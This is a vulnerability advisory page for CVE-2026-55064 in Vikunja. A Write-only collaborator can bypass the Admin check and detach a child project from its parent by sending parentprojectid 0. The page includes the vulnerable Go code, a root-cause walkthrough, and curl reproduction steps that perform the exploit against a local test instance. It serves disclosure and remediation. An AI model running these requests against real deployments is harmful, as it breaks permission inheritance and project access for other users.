CVE-2026-55064: Medium severity go/code.vikunja.io/api vulnerability

Published Aug 28, 2026
·
Updated

Summary

The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parentprojectid > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parentprojectid: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.

Affected component

- Package: go-vikunja/vikunja - Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0. - Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)

Technical detail

Vulnerable code

File: pkg/models/project.go (lines 1009-1041) go // GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE // cascades Admin from any owned ancestor, so moving a shared child // under an attacker-owned root grants Admin on the child. Require // Admin on both sides of a reparent. // // Only gate on non-zero ParentProjectID: the generic update handler // binds a fresh struct, so an omitted parentprojectid is // indistinguishable from an explicit 0. Detach-to-root is therefore // out of scope here -- a proper fix needs a pointer field. if project.ParentProjectID > 0 { // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0 }

File: pkg/models/projectpermissions.go (line 145) go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { // reparent permission check -- SKIPPED when ParentProjectID == 0 }

File: pkg/models/project.go (line 1065) go colsToUpdate := []string{ "title", "isarchived", "identifier", "hexcolor", "parentprojectid", // <-- ALWAYS included, writes 0 to DB "position", }

Why it's exploitable

1. The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0). 2. When JSON body contains "parentprojectid": 0, the struct has ParentProjectID == 0. 3. CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write). 4. UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely. 5. xorm writes parentprojectid = 0 because "parentprojectid" is always in colsToUpdate with Cols(). 6. The project is detached from its parent hierarchy.

Precondition checklist

- [x] Attacker has authenticated account - [x] Attacker has Write permission on a child project (via direct share or team membership) - [x] The target project has a non-zero parentprojectid (it's a child of another project) - [x] Default Vikunja configuration (no special setup needed)

Reproduction

Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.

1. Authenticate as attacker: bash TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \ -H 'Content-Type: application/json' \ -d '{"username":"usera","password":"UserAPassword1!"}' | jq -r '.token')

2. Verify attacker does NOT have Admin (delete should return 403): bash curl -s -o /dev/null -w '%{httpcode}' -X DELETE http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" Expected: 403

3. Exploit -- detach project from parent: bash curl -s -X POST http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"title":"Sensitive Child Project","parentprojectid":0}'

4. Verify detachment: bash curl -s http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" | jq '.parentprojectid' Returns: 0 (was: 3)

Evidence (3 independent runs)

| Run | parentprojectid BEFORE | DELETE attempt (proves no Admin) | parentprojectid AFTER | Result | |-----|--------------------------|----------------------------------|-------------------------|--------| | 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |

Note: "null (detached to root)" means parentprojectid was set to 0 in the database, making the project a root-level project with no parent.

Impact

- Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents). - Permission inheritance disruption: The recursive CTE permission model traverses parentprojectid upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project. - Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.

Suggested fix

Use a pointer field int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."

Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.

Affected Software

1 affected componentFixes available
go/code.vikunja.io/api>=2.3.0<2.4.0
2.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.vikunja.io/api to a version that resolves this vulnerability.

    Fixed in 2.4.0
  2. Upgrade

    Upgrade go-vikunja/vikunja to a version that resolves this vulnerability.

    Fixed in 2.4.0

Event History

Aug 28, 2026
Advisory Published
via GitHub·04:39 PM
Data Sourced
via GitHub·04:39 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

A user needs Write permission on a shared child project but does not need Admin permission. The issue applies when that user can change the child project's parent relationship.

2

Does exploitation require user interaction or local access?

No user interaction is required, and the vulnerability is reachable over the network. The attacker must already hold the required Write permission on the shared child project.

3

Which releases should be treated as affected?

Vikunja v2.3.0 and later are affected, including the tested unstable build v2.3.0-246-9852aff4. The issue is fixed in version 2.4.0.

4

What is the practical impact of a successful exploit?

The attacker can detach a shared child project from its parent by setting parent_project_id to 0. This breaks the recursive permission-inheritance chain and can disrupt the project hierarchy and inherited access for collaborators.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203